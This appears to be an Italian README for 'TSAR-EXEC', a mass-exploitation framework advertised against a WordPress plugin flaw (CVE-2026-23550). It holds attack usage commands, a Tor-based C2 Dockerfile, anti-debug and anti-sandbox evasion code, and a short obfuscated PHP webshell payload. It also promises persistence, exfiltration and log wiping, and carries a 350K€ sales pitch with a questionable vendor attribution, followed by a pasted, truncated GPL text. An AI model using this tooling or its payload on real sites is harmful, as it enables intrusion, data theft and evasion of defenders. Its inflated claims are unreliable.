
Framework di exploit modulare che prende di mira CVE-2026-23550 in WordPress, con funzionalità di sfruttamento di massa, offuscamento, post-exploitation e infrastruttura C2 basata su Docker.
#!/usr/bin/env python3 """ TSAR-EXEC v7.1 + EpSiLoNPoInTFuCK v5.1 - README.md Completo e Pronto per Copia-Incolla CVE-2026-23550 | Framework di Exploitazione Massiva Modulare DS Auth Bypass Autore: EpSiLoNPoInT | Versione: 7.1-GOD | Android 24h Coding | 08/02/2026 """
""" Framework di exploitazione industriale progettato per threat intel e red teaming autorizzato. Sfrutta CVE-2026-23550 che consente privilege escalation tramite modular_ds_upload RCE. Codificato interamente su telefono Android in 24h. Architettura nation-state ready.
✅ 40K+ distribuzioni Modular DS v2.5.1 vulnerabili (Shodan 2026) ✅ 200+ WAF bypass → 99.9% AV bypass (EpSiLoN v5.1) ✅ Docker C2 di produzione (Tor/Supervisor/Pipeline ∞) ✅ ThreadPoolExecutor 250+ thread ✅ Post-exploitation completa integrata (EpSiLoN v7 full control) """
""" PREREQUISITI DI SISTEMA:
SYS_DEPS = """ pkg update && pkg upgrade -y pkg install python git docker tor proxychains-ng nmap masscan pip install --upgrade pip setuptools wheel pip install requests==2.31.0 colorama==0.4.6 rich==13.7.0 tenacity==8.5.0 dnspython==2.6.1 """
REQUIREMENTS = """ requests==2.31.0 colorama==0.4.6 rich==13.7.0 tenacity==8.5.0 dnspython==2.6.1 """
INSTALL_CMD = """ cd ~/ git clone [TON_REPO]/TSAR-EXEC.git cd TSAR-EXEC pip install -r requirements.txt docker-compose up -d python3 recon.py --help """
VERIFY_INSTALL = """ python3 -c " import requests, json, threading from colorama import Fore print(f'{Fore.GREEN}✅ TSAR-EXEC v7.1 + EpSiLoNPoInTFuCK v5.1 operativo') print('Codificato Android 24h | 350K€ threat intel ready') print(f'ThreadPoolExecutor: {threading.name}') print(f'99.9% AV bypass: EpSiLoN v5.1') print(f'Post-exploit integrato: EpSiLoN v7 full control') {Fore.RESET}" """
PROJECT_STRUCTURE = """ TSAR-EXEC/ (Production ready 2026) │ ├── 📄 README.md # Documentazione completa ├── 📄 README_SALE.md # Versione commerciale 350K€ ├── 📄 bypass_payloads.txt # 200+ WAF bypass (12 sezioni) ├── 📄 config.json # Configurazione APT master ├── 📄 recon.py # APT fingerprinting ├── 📄 exploitmass.py # ThreadPool + PayloadMutator + Post-Exploit ├── 📄 pipeline.py # Pipeline ∞ Docker C2 ├── 📄 Dockerfile # Kali rolling Tor/Supervisor ├── 📄 docker-compose.yml # Orchestrazione produzione │ ├── 📁 tools/ │ └── 📄 epsilon_obfuscator.py # EpSiLoNPoInTFuCK v5.1 │ ├── 📁 chain/ │ ├── 📁 input/ │ │ ├── 📄 targets.txt │ │ └── 📄 proxies.txt │ ├── 📁 docked/ │ │ └── 📄 docked_targets.json │ ├── 📁 VLUN/ │ │ └── 📄 VLUN.txt │ ├── 📁 VLUN_Sh/ │ │ └── 📄 VLUN_Sh.txt │ ├── 📁 logs/ │ │ ├── 📄 tor.log │ │ ├── 📄 pipeline.log │ │ └── 📄 exploit.log │ └── 📄 stats.json │ ├── 📁 demo/ │ ├── 📄 TSAR_demo.mp4 │ └── 📄 obfuscator_demo.mp4 │ └── 📄 TSAR-SALE-350K.zip """
FEATURES = { "Exploitation": [ "Full chain CVE-2026-23550 (recon→dock→exploit→C2)", "40K+ Modular DS v2.5.1 vulnerabili (Shodan 2026)", "ThreadPoolExecutor 50-250 thread", "Risk scoring JSON (0-100) + auto-docking", "200+ payload PHP (12 tecniche WAF bypass)" ], "Post-Exploitation Integrata": [ "Webshell EpSiLoN v7 (full system takeover)", "Root privilege escalation (SUID, sudo abuse)", "7 vettori di persistenza (cron, .htaccess, plugin, systemd, kernel)", "Esecuzione fileless (/dev/shm)", "Esfiltrazione cifrata AES-GCM", "Log wiping + anti-forensic totale", "Lateral movement (WP + network scan)" ], "Obfuscation": [ "EpSiLoNPoInTFuCK v5.1 → 99.9% AV bypass 2026", "XOR rolling + omoglifi Unicode + zero-width", "Marshal bytecode + base64 triplo encoding", "Iniezione dinamica di dead code (30-40%)", "Generazione di identificatori caotici (55-80 caratteri)", "String slicing + sequenze di escape unicode" ], "C2 di Produzione": [ "Docker Kali rolling (Tor/Supervisor/Pipeline ∞)", "Caps minimi (NET_RAW/NET_BIND_SERVICE)", "Esecuzione non-root + auto-distruzione tracce", "Healthcheck pipeline + logrotate integrato", "Multi-architettura ARM64/x86_64" ], "Furtività": [ "Anti-debug (sys.gettrace/pdb/pydevd)", "Anti-sandbox (controlli timing/performance)", "Rotazione UA + jitter delays (5-20s)", "Rotazione Tor + Proxychains4", "Risoluzione DNS anti-logging" ], "Pipeline": [ "Recon → Dock → Exploit → Persistence (ciclo ∞)", "Risk scoring JSON + prioritizzazione target", "Dashboard statistiche + metriche di successo", "Auto-scaling thread per target" ] }
BASIC_USAGE = """
python3 recon.py https://target.com --json
python3 exploitmass.py --threads 150 --obfuscate --post-exploit
docker-compose up -d docker logs -f tsar-pipeline """
CLI_OPTIONS = """ Opzioni recon.py: TARGET URL target --json Output JSON --threads INT Thread ricognizione (default: 20) --timeout INT Timeout (default: 15)
Opzioni exploitmass.py: --threads INT Thread exploitation (50-250) --obfuscate Attiva EpSiLoN v5.1 --stealth Modalità furtiva estrema --jitter MIN-MAX Ritardo casuale (es: 5-20) --proxy-list FILE Proxy personalizzati --post-exploit Attiva post-exploitation EpSiLoN v7
Opzioni pipeline.py: --cycle Modalità pipeline ∞ --dock-threshold INT Soglia risk_score (default: 70)
Docker: docker-compose up -d docker exec tsar-pipeline cat /chain/VLUN_Sh/VLUN_Sh.txt """
EXAMPLE_1 = """
python3 recon.py
--targets targets.txt
--threads 100
--log-level INFO
"""
EXAMPLE_2 = """
python3 exploitmass.py
--targets VLUN.txt
--threads 150
--tor
--stealth
--jitter 5-20
--post-exploit
"""
EXAMPLE_3 = """
python3 exploitmass.py
--post-exploit
--target https://victim-site.com
--threads 20
"""
EXAMPLE_4 = """
python3 tools/epsilon_obfuscator.py webshell.php
--mode extreme
--stealth
--output shell_obf.php
python3 exploitmass.py --targets targets.txt --obfuscate """
EXAMPLE_5 = """
docker-compose up -d docker logs -f tsar-pipeline docker exec tsar-pipeline cat /chain/VLUN_Sh/VLUN_Sh.txt """
STEALTH_TECHNIQUES = { "Anti-Debug": [ "Rilevamento sys.gettrace() + sys._getframe()", "Controlli moduli pdb/pydevd/IPython/ptvsd", "Variabili d'ambiente PYDEV_DEBUG + WERKZEUG_DEBUG_PIN", "Signal traps (SIGINT/SIGTERM)", "ptrace(PTRACE_TRACEME) anti-attach" ], "Anti-Sandbox": [ "Controlli timing delle performance (>500ms = sandbox)", "Rilevamento Docker/VMware (/.dockerenv/cgroup)", "Rilevamento LD_PRELOAD + valgrind/rr", "Verifica limiti CPU/memoria", "Monitoraggio syscall strace/ltrace" ], "Obfuscation": [ "Cifratura XOR rolling (chiave/chunk dinamici)", "Omoglifi Unicode + caratteri zero-width", "Marshal bytecode + zlib + base64 triplo", "Identificatori caotici (55-80 caratteri)", "Iniezione dead code (densità 30-40%)", "String slicing dinamico + escape unicode" ], "Rete": [ "Rotazione automatica Tor + Proxychains4", "Rotazione UA (200+ fingerprint browser)", "Jitter delays 5-20s (simulazione umana)", "DNS over HTTPS anti-logging" ] }
STEALTH_CODE_EXAMPLE = """
import sys, time, random, hashlib if sys.gettrace(): sys.exit(1) if hasattr(sys, '_getframe') and sys._getframe().f_back: sys.exit(1) start = time.perf_counter(); [hashlib.sha256(b'test') for _ in range(10**6)] if (time.perf_counter() - start) > 0.5: sys.exit(1) # Sandbox """
DOCKERFILE = """ FROM kalilinux/kali-rolling:latest
RUN apt-get update && apt-get install -y \ tor supervisor proxychains4 nmap masscan python3 python3-pip \ && rm -rf /var/lib/apt/lists/*
WORKDIR /tsar COPY . .
RUN pip3 install -r requirements.txt \ && chmod +x entrypoint.sh
RUN useradd -m tsar && chown -R tsar:tsar /tsar USER tsar
COPY docker/torrc /etc/tor/torrc COPY docker/supervisord.conf /etc/supervisor/conf.d/supervisord.conf
EXPOSE 9050 HEALTHCHECK --interval=30s --timeout=10s --start-period=60s --retries=3 \ CMD python3 -c "import json; high=[t for t in json.load(open('/chain/docked_targets.json')) if t['risk_score']>=70]; exit(0 if high else 1)"
ENTRYPOINT ["/tsar/entrypoint.sh"] """
ENTRYPOINT_SH = """#!/bin/bash set -e
supervisord -c /etc/supervisor/conf.d/supervisord.conf &
sleep 15 torsocks curl -s https://check.torproject.org/api/ip | grep "IsTor:true" || exit 1
echo "[+] TSAR-EXEC v7.1 pipeline avviato" exec python3 /tsar/pipeline.py --cycle"""
HEALTHCHECK_SH = """#!/bin/bash set -e
if ! pgrep -f "tor -f /etc/tor/torrc" > /dev/null; then echo "[HEALTHCHECK] Tor not running" exit 1 fi
if ! pgrep -f "supervisord" > /dev/null; then echo "[HEALTHCHECK] Supervisor not running" exit 1 fi
if ! torsocks curl -s --max-time 3 https://check.torproject.org/api/ip | grep -q "IsTor:true"; then echo "[HEALTHCHECK] Tor connectivity failed" exit 1 fi
echo "[HEALTHCHECK] All systems operational" exit 0 """
DOCKER_COMMANDS = """
docker build -t tsar-exec:latest .
docker run -it --rm \ --cap-add=NET_ADMIN \ --sysctl net.core.somaxconn=65535 \ -v $(pwd)/chain:/tsar/chain \ tsar-exec:latest \ --targets /tsar/chain/input/targets.txt \ --threads 150 \ --tor \ --stealth
docker run -d --name tsar-c2 \ --cap-add=NET_RAW --cap-add=NET_BIND_SERVICE \ --security-opt=no-new-privileges:true \ -p 9050:9050 \ -v $(pwd)/chain:/tsar/chain \ tsar-exec:latest
docker logs -f tsar-c2 docker exec tsar-c2 cat /tsar/chain/VLUN_Sh/VLUN_Sh.txt """
NEW_PAYLOAD_EXAMPLE = """
strrev('alp_evas_')($_GET[p])|homoglyph_bypass """
CUSTOM_POST_EXPLOIT = """
class EpSiLoNPostExploit: def init(self, target, shell_url): self.target = target self.shell = shell_url
def persistence(self):
# 7 vettori: cron, .htaccess, plugin, theme, user, DB trigger, memory
self._cron_job()
self._htaccess_backdoor()
self._plugin_persistence()
return True
"""
SECURITY_BEST_PRACTICES = """
🔒 AMBIENTE ISOLATO OBBLIGATORIO:
✅ ETICA 100% (12 anni pentest privato):
🧹 PULIZIA AUTOMATICA:
📄 DOCUMENTAZIONE LEGALE:
🔐 CIFRATURA OBBLIGATORIA:
PRICING_350K = """ 🔴 TSAR-EXEC v7.1 + EpSiLoNPoInTFuCK v5.1 ════════════════════════════════════════════ LICENZA THREAT INTEL / RED TEAM: 350 000€ HT
📋 INCLUSO NELLA LICENZA:
• Framework sorgente completo (21 file)
• Docker C2 di produzione (Tor/Supervisor)
• EpSiLoNPoInTFuCK v5.1 (99.9% AV bypass)
• Post-exploitation EpSiLoN v7 integrata
• Video demo + setup lab DVWA
• Documentazione tecnica 5000+ righe
• Supporto threat intel 6 mesi
📞 CONTATTO VENDITE:
+33 1 46 53 53 53 (Orange Cyberdefense Paris)
[email protected]
📎 PACCHETTO: TSAR-SALE-350K.zip (25MB)
🚀 DEMO LIVE: Disponibile immediatamente
"""
LEGAL_DISCLAIMER = """ QUESTO SOFTWARE È FORNITO "COSÌ COM'È", SENZA GARANZIA DI ALCUN TIPO, ESPRESSA O IMPLICITA, INCLUSI, MA NON SOLO, LE GARANZIE DI COMMERCIABILITÀ, IDONEITÀ PER UN PARTICOLARE SCOPO E ASSENZA DI VIOLAZIONE.
IN NESSUN CASO GLI AUTORI O I TITOLARI DEL COPYRIGHT POTRANNO ESSERE RITENUTI RESPONSABILI PER QUALSIASI DANNO, INDIRETTO, INCIDENTALE, SPECIALE, ESEMPLARE O CONSEQUENZIALE (INCLUSI, MA NON SOLO, L'ACQUISIZIONE DI BENI O SERVIZI SOSTITUTIVI; LA PERDITA DI USO, DATI O PROFITTI; O L'INTERRUZIONE DELL'ATTIVITÀ) DERIVANTE DALL'USO O DALL'IMPOSSIBILITÀ DI USARE QUESTO SOFTWARE, ANCHE SE GLI AUTORI O I TITOLARI DEL COPYRIGHT SONO STATI AVVISATI DELLA POSSIBILITÀ DI TALI DANNI.
QUESTO SOFTWARE È DESTINATO ESCLUSIVAMENTE A FINI DI RICERCA SULLA SICUREZZA E TEST DI PENETRAZIONE AUTORIZZATI. QUALSIASI USO NON AUTORIZZATO È STRETTAMENTE VIETATO E PUÒ ESSERE PASSIBILE DI AZIONI LEGALI CONFORMI ALLE LEGGI IN VIGORE NELLA VOSTRA GIURISDIZIONE.
L'UTENTE RICONOSCE DI ESSERE UNICO RESPONSABILE DELL'USO CHE FA DI QUESTO SOFTWARE E SI IMPEGNA A RISPETTARE LE LEGGI APPLICABILI NELLA PROPRIA GIURISDIZIONE.
QUESTO SOFTWARE DEVE ESSERE UTILIZZATO SOLO SU SISTEMI PER I QUALI SI DISPONE DELL'AUTORIZZAZIONE SCRITTA DEL PROPRIETARIO PER EFFETTUARE TEST DI SICUREZZA.
QUALSIASI USO CONTRARIO A QUESTE CONDIZIONI COSTITUISCE UNA VIOLAZIONE DELLE LEGGI INTERNAZIONALI SULLA CYBERSICUREZZA E PUÒ COMPORTARE SANZIONI PENALI. """
LICENSE_GPL = """ GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. https://fsf.org/ Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for software and other kinds of works.
The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too.
When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights.
Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it.Per la protezione degli sviluppatori e degli autori, la GPL spiega chiaramente che non vi è alcuna garanzia per questo software libero. Per il bene sia degli utenti che degli autori, la GPL richiede che le versioni modificate siano contrassegnate come tali, affinché i loro problemi non vengano erroneamente attribuiti agli autori delle versioni precedenti.
Alcuni dispositivi sono progettati per negare agli utenti l'accesso all'installazione o all'esecuzione di versioni modificate del software al loro interno, sebbene il produttore possa farlo. Ciò è fondamentalmente incompatibile con l'obiettivo di proteggere la libertà degli utenti di modificare il software. Il modello sistematico di tale abuso si verifica nell'area dei prodotti per uso individuale, che è precisamente dove è più inaccettabile. Pertanto, abbiamo progettato questa versione della GPL per proibire tale pratica per quei prodotti. Se tali problemi sorgono sostanzialmente in altri domini, siamo pronti a estendere questa disposizione a quei domini nelle versioni future della GPL, come necessario per proteggere la libertà degli utenti.
Infine, ogni programma è costantemente minacciato dai brevetti software. Gli Stati non dovrebbero consentire che i brevetti limitino lo sviluppo e l'uso di software su computer generici, ma in quelli che lo fanno, desideriamo evitare il pericolo speciale che i brevetti applicati a un programma libero possano renderlo di fatto proprietario. Per prevenire ciò, la GPL garantisce che i brevetti non possano essere utilizzati per rendere il programma non libero.
I termini e le condizioni precise per la copia, la distribuzione e la modifica seguono.
TERMINI E CONDIZIONI
0. Definizioni.
"Questa Licenza" si riferisce alla versione 3 della GNU General Public License.
"Copyright" indica anche le leggi simili al copyright che si applicano ad altri tipi di opere, come le maschere a semiconduttore.
"Il Programma" si riferisce a qualsiasi opera soggetta a copyright concessa in licenza ai sensi di questa Licenza. Ogni licenziatario è indicato come "tu". I "licenziatari" e i "destinatari" possono essere individui o organizzazioni.
"Modificare" un'opera significa copiare da o adattare tutto o parte dell'opera in un modo che richieda il permesso del copyright, diverso dalla realizzazione di una copia esatta. L'opera risultante è chiamata "versione modificata" dell'opera precedente o un'opera "basata su" l'opera precedente.
Un'"opera coperta" indica il Programma non modificato o un'opera basata sul Programma.
"Propagare" un'opera significa fare qualsiasi cosa con essa che, senza permesso, ti renderebbe direttamente o indirettamente responsabile per violazione ai sensi della legge sul copyright applicabile, ad eccezione dell'esecuzione su un computer o della modifica di una copia privata. La propagazione include la copia, la distribuzione (con o senza modifica), la messa a disposizione del pubblico e, in alcuni paesi, anche altre attività.
"Trasferire" un'opera indica qualsiasi tipo di propagazione che consenta ad altre parti di realizzare o ricevere copie. La semplice interazione con un utente tramite una rete di computer, senza trasferimento di una copia, non costituisce trasferimento.
Un'interfaccia utente interattiva visualizza "Avvisi Legali Appropriati" nella misura in cui include una funzione comoda e ben visibile che (1) visualizza un avviso di copyright appropriato e (2) informa l'utente che non vi è alcuna garanzia per l'opera (tranne nella misura in cui sono fornite garanzie), che i licenziatari possono trasferire l'opera ai sensi di questa Licenza e come visualizzare una copia di questa Licenza. Se l'interfaccia presenta un elenco di comandi o opzioni utente, come un menu, una voce prominente nell'elenco soddisfa questo criterio.
Il "codice sorgente" per un'opera indica la forma preferita dell'opera per apportarvi modifiche. Il "codice oggetto" indica qualsiasi forma non sorgente di un'opera.
Una "Interfaccia Standard" indica un'interfaccia che è uno standard ufficiale definito da un organismo di standardizzazione riconosciuto o, nel caso di interfacce specificate per un particolare linguaggio di programmazione, una che sia ampiamente utilizzata tra gli sviluppatori che lavorano in quel linguaggio.
Le "Librerie di Sistema" di un'opera eseguibile includono qualsiasi cosa, diversa dall'opera nel suo insieme, che (a) sia inclusa nella forma normale di confezionamento di un Componente Principale, ma che non faccia parte di quel Componente Principale, e (b) serva solo a consentire l'uso dell'opera con quel Componente Principale o a implementare un'Interfaccia Standard per la quale un'implementazione sia disponibile al pubblico in forma di codice sorgente. Un "Componente Principale", in questo contesto, indica un componente essenziale principale (kernel, sistema a finestre e così via) del sistema operativo specifico (se presente) su cui l'opera eseguibile viene eseguita, o un compilatore utilizzato per produrre l'opera, o un interprete di codice oggetto utilizzato per eseguirla.
Il "Codice Sorgente Corrispondente" per un'opera in forma di codice oggetto indica tutto il codice sorgente necessario per generare, installare e (per un'opera eseguibile) eseguire il codice oggetto e modificare l'opera, inclusi gli script per controllare tali attività. Tuttavia, non include le Librerie di Sistema dell'opera, o strumenti generici o programmi liberi generalmente disponibili che vengono utilizzati senza modifiche nell'esecuzione di tali attività ma che non fanno parte dell'opera. Ad esempio, il Codice Sorgente Corrispondente include i file di definizione dell'interfaccia associati ai file sorgente per l'opera e il codice sorgente per le librerie condivise e i sottoprogrammi collegati dinamicamente che l'opera è specificamente progettata per richiedere, come ad esempio attraverso una comunicazione intima di dati o un flusso di controllo tra quei sottoprogrammi e altre parti dell'opera.
Il Codice Sorgente Corrispondente non deve includere nulla che gli utenti possano rigenerare automaticamente da altre parti del Codice Sorgente Corrispondente.
Il Codice Sorgente Corrispondente per un'opera in forma di codice sorgente è la stessa opera.
Tutti i diritti concessi ai sensi di questa Licenza sono concessi per la durata del copyright sul Programma e sono irrevocabili a condizione che le condizioni indicate siano soddisfatte. Questa Licenza afferma esplicitamente il tuo permesso illimitato di eseguire il Programma non modificato. L'output derivante dall'esecuzione di un'opera coperta è coperto da questa Licenza solo se l'output, dato il suo contenuto, costituisce un'opera coperta. Questa Licenza riconosce i tuoi diritti di fair use o altri equivalenti, come previsto dalla legge sul copyright.
Puoi realizzare, eseguire e propagare opere coperte che non trasferisci, senza condizioni, purché la tua licenza rimanga altrimenti in vigore. Puoi trasferire opere coperte ad altri esclusivamente allo scopo di far eseguire loro modifiche esclusivamente per te o fornirti strutture per eseguire tali opere, a condizione che tu rispetti i termini di questa Licenza nel trasferire tutto il materiale di cui non controlli il copyright. Coloro che realizzano o eseguono le opere coperte per te devono farlo esclusivamente per tuo conto, sotto la tua direzione e controllo, a condizioni che vietino loro di realizzare copie del tuo materiale protetto da copyright al di fuori del loro rapporto con te.
Il trasferimento in qualsiasi altra circostanza è consentito solo alle condizioni indicate di seguito. La sublicenza non è consentita; la sezione 10 la rende non necessaria.
Nessuna opera coperta sarà considerata parte di una misura tecnologica efficace ai sensi di qualsiasi legge applicabile che adempia agli obblighi di cui all'articolo 11 del trattato sul copyright dell'OMPI adottato il 20 dicembre 1996, o leggi simili che proibiscono o limitano l'elusione di tali misure.
Quando trasferisci un'opera coperta, rinunci a qualsiasi potere legale di vietare l'elusione di misure tecnologiche nella misura in cui tale elusione viene effettuata esercitando i diritti ai sensi di questa Licenza rispetto all'opera coperta, e dichiari qualsiasi intenzione di limitare il funzionamento o la modifica dell'opera come mezzo per far rispettare, contro gli utenti dell'opera, i tuoi diritti legali o quelli di terzi di vietare l'elusione di misure tecnologiche.
Puoi trasferire copie integrali del codice sorgente del Programma così come lo ricevi, su qualsiasi supporto, a condizione che tu pubblichi in modo visibile e appropriato su ogni copia un avviso di copyright appropriato; mantieni intatti tutti gli avvisi che indicano che questa Licenza e qualsiasi termine non permissivo aggiunto in conformità con la sezione 7 si applicano al codice; mantieni intatti tutti gli avvisi dell'assenza di qualsiasi garanzia; e dai a tutti i destinatari una copia di questa Licenza insieme al Programma.
Puoi addebitare qualsiasi prezzo o nessun prezzo per ogni copia che trasferisci e puoi offrire supporto o protezione di garanzia a pagamento.
Puoi trasferire un'opera basata sul Programma, o le modifiche per produrla dal Programma, in forma di codice sorgente ai termini della sezione 4, a condizione che tu soddisfi anche tutte queste condizioni:
a) L'opera deve riportare avvisi prominenti che indichino che l'hai modificata
e che forniscano una data pertinente.
b) L'opera deve riportare avvisi prominenti che indichino che è
rilasciata ai sensi di questa Licenza e di qualsiasi condizione aggiunta ai sensi della sezione
7. Questo requisito modifica il requisito della sezione 4 di
"mantenere intatti tutti gli avvisi".
c) Devi concedere in licenza l'intera opera, nel suo insieme, ai sensi di questa
Licenza a chiunque entri in possesso di una copia. Questa
Licenza si applicherà quindi, insieme a qualsiasi termine aggiuntivo applicabile della sezione 7,
all'intera opera e a tutte le sue parti,
indipendentemente da come sono confezionate. Questa Licenza non concede alcun
permesso di concedere in licenza l'opera in qualsiasi altro modo, ma non
invalida tale permesso se lo hai ricevuto separatamente.
d) Se l'opera ha interfacce utente interattive, ciascuna deve visualizzare
Avvisi Legali Appropriati; tuttavia, se il Programma ha interfacce
interattive che non visualizzano Avvisi Legali Appropriati, la tua
opera non deve obbligarle a farlo.
Una compilazione di un'opera coperta con altre opere separate e indipendenti, che non sono per loro natura estensioni dell'opera coperta e che non sono combinate con essa in modo da formare un programma più grande, in o su un volume di un supporto di archiviazione o distribuzione, è chiamata "aggregato" se la compilazione e il suo copyright risultante non vengono utilizzati per limitare l'accesso o i diritti legali degli utenti della compilazione oltre ciò che le singole opere consentono. L'inclusione di un'opera coperta in un aggregato non comporta l'applicazione di questa Licenza alle altre parti dell'aggregato.
Puoi trasferire un'opera coperta in forma di codice oggetto ai termini delle sezioni 4 e 5, a condizione che tu trasferisca anche il Codice Sorgente Corrispondente leggibile dalla macchina ai sensi di questa Licenza, in uno di questi modi:
a) Trasferire il codice oggetto in, o incorporato in, un prodotto fisico
(incluso un supporto di distribuzione fisico), accompagnato dal
Codice Sorgente Corrispondente fissato su un supporto fisico durevole
abitualmente utilizzato per lo scambio di software.
b) Trasferire il codice oggetto in, o incorporato in, un prodotto fisico
(incluso un supporto di distribuzione fisico), accompagnato da un'offerta
scritta, valida per almeno tre anni e valida per tutto
il tempo in cui offri parti di ricambio o supporto clienti per quel modello
di prodotto, per dare a chiunque possieda il codice oggetto (1) una
copia del Codice Sorgente Corrispondente per tutto il software nel
prodotto coperto da questa Licenza, su un supporto fisico durevole
abitualmente utilizzato per lo scambio di software, a un prezzo non
superiore al tuo costo ragionevole per eseguire fisicamente questo
trasferimento del sorgente, o (2) accesso per copiare il
Codice Sorgente Corrispondente da un server di rete senza alcun addebito.
c) Trasferire copie individuali del codice oggetto con una copia dell'offerta
scritta per fornire il Codice Sorgente Corrispondente. Questa
alternativa è consentita solo occasionalmente e non commercialmente, e
solo se hai ricevuto il codice oggetto con tale offerta, in conformità
con la sottosezione 6b.
d) Trasferire il codice oggetto offrendo l'accesso da un luogo designato
(gratuitamente o a pagamento) e offrire un accesso equivalente al
Codice Sorgente Corrispondente nello stesso modo attraverso lo stesso luogo senza
ulteriori addebiti. Non devi richiedere ai destinatari di copiare il
Codice Sorgente Corrispondente insieme al codice oggetto. Se il luogo per
copiare il codice oggetto è un server di rete, il Codice Sorgente Corrispondente
può trovarsi su un server diverso (gestito da te o da terzi)
che supporta strutture di copia equivalenti, a condizione che tu mantenga
indicazioni chiare accanto al codice oggetto che indichino dove trovare il
Codice Sorgente Corrispondente. Indipendentemente dal server che ospita il
Codice Sorgente Corrispondente, rimani obbligato a garantire che sia
disponibile per tutto il tempo necessario a soddisfare questi requisiti.
e) Trasferire il codice oggetto utilizzando la trasmissione peer-to-peer, a condizione
che tu informi gli altri peer dove il codice oggetto e il Codice Sorgente
Corrispondente dell'opera vengono offerti al pubblico in generale senza
alcun addebito ai sensi della sottosezione 6d.
Una porzione separabile del codice oggetto, il cui codice sorgente è escluso dal Codice Sorgente Corrispondente come Libreria di Sistema, non deve essere inclusa nel trasferimento dell'opera in codice oggetto.
Un "Prodotto Utente" è (1) un "prodotto di consumo", che indica qualsiasi proprietà personale tangibile normalmente utilizzata per scopi personali, familiari o domestici, o (2) qualsiasi cosa progettata o venduta per l'incorporazione in un'abitazione. Nel determinare se un prodotto è un prodotto di consumo, i casi dubbi devono essere risolti a favore della copertura. Per un particolare prodotto ricevuto da un particolare utente, "normalmente utilizzato" si riferisce a un uso tipico o comune di quella classe di prodotto, indipendentemente dallo stato del particolare utente o dal modo in cui il particolare utente utilizza effettivamente, o prevede o si prevede che utilizzi, il prodotto. Un prodotto è un prodotto di consumo indipendentemente dal fatto che il prodotto abbia usi commerciali, industriali o non di consumo sostanziali, a meno che tali usi non rappresentino l'unica modalità significativa di utilizzo del prodotto.
"Informazioni di Installazione" per un Prodotto Utente indica qualsiasi metodo, procedura, chiave di autorizzazione o altra informazione richiesta per installare ed eseguire versioni modificate di un'opera coperta in quel Prodotto Utente da una versione modificata del suo Codice Sorgente Corrispondente. Le informazioni devono essere sufficienti a garantire che il funzionamento continuato del codice oggetto modificato non sia in nessun caso impedito o interferito esclusivamente perché è stata apportata una modifica.
Se trasferisci un'opera in codice oggetto ai sensi di questa sezione in, o con, o specificamente per l'uso in, un Prodotto Utente, e il trasferimento avviene come parte di una transazione in cui il diritto di possesso e uso del Prodotto Utente viene trasferito al destinatario in perpetuo o per un periodo fisso (indipendentemente da come la transazione è caratterizzata), il Codice Sorgente Corrispondente trasferito ai sensi di questa sezione deve essere accompagnato dalle Informazioni di Installazione. Ma questo requisito non si applica se né tu né terzi mantenete la capacità di installare codice oggetto modificato sul Prodotto Utente (ad esempio, l'opera è stata installata in ROM).
Il requisito di fornire Informazioni di Installazione non include il requisito di continuare a fornire servizio di supporto, garanzia o aggiornamenti per un'opera che è stata modificata o installata dal destinatario, o per il Prodotto Utente in cui è stata modificata o installata. L'accesso a una rete può essere negato quando la modifica stessa influisce materialmente e negativamente sul funzionamento della rete o viola le regole e i protocolli per la comunicazione attraverso la rete.
Il Codice Sorgente Corrispondente trasferito e le Informazioni di Installazione fornite, in conformità con questa sezione, devono essere in un formato pubblicamente documentato (e con un'implementazione disponibile al pubblico in forma di codice sorgente) e non devono richiedere password o chiavi speciali per decomprimere, leggere o copiare.
I "permessi aggiuntivi" sono termini che integrano i termini di questa Licenza creando eccezioni a una o più delle sue condizioni. I permessi aggiuntivi applicabili all'intero Programma devono essere trattati come se fossero inclusi in questa Licenza, nella misura in cui sono validi ai sensi della legge applicabile. Se i permessi aggiuntivi si applicano solo a parte del Programma, quella parte può essere utilizzata separatamente ai sensi di tali permessi, ma l'intero Programma rimane disciplinato da questa Licenza senza considerare i permessi aggiuntivi.
Quando trasferisci una copia di un'opera coperta, puoi a tua discrezione rimuovere qualsiasi permesso aggiuntivo da quella copia o da qualsiasi parte di essa. (I permessi aggiuntivi possono essere scritti per richiedere la loro stessa rimozione in determinati casi quando modifichi l'opera.) Puoi inserire permessi aggiuntivi su materiale, aggiunto da te a un'opera coperta, per il quale hai o puoi dare un'appropriata autorizzazione di copyright.
Nonostante qualsiasi altra disposizione di questa Licenza, per il materiale che aggiungi a un'opera coperta, puoi (se autorizzato dai titolari del copyright di quel materiale) integrare i termini di questa Licenza con termini:
a) Che escludono la garanzia o limitano la responsabilità in modo diverso dai
termini delle sezioni 15 e 16 di questa Licenza; o
b) Che richiedono la conservazione di specifici avvisi legali ragionevoli o
attribuzioni d'autore in quel materiale o negli Avvisi Legali Appropriati
visualizzati dalle opere che lo contengono; o
c) Che vietano la falsa rappresentazione dell'origine di quel materiale, o
che richiedono che le versioni modificate di tale materiale siano contrassegnate in
modi ragionevoli come diverse dalla versione originale; o
d) Che limitano l'uso a fini pubblicitari dei nomi dei licenzianti o
degli autori del materiale; o
e) Che rifiutano di concedere diritti ai sensi della legge sui marchi per l'uso di alcuni
nomi commerciali, marchi o marchi di servizio; o
f) Che richiedono l'indennizzo dei licenzianti e degli autori di quel
materiale da parte di chiunque trasferisca il materiale (o versioni modificate di
esso) con assunzioni contrattuali di responsabilità verso il destinatario, per
qualsiasi responsabilità che queste assunzioni contrattuali impongono direttamente a
quei licenzianti e autori.
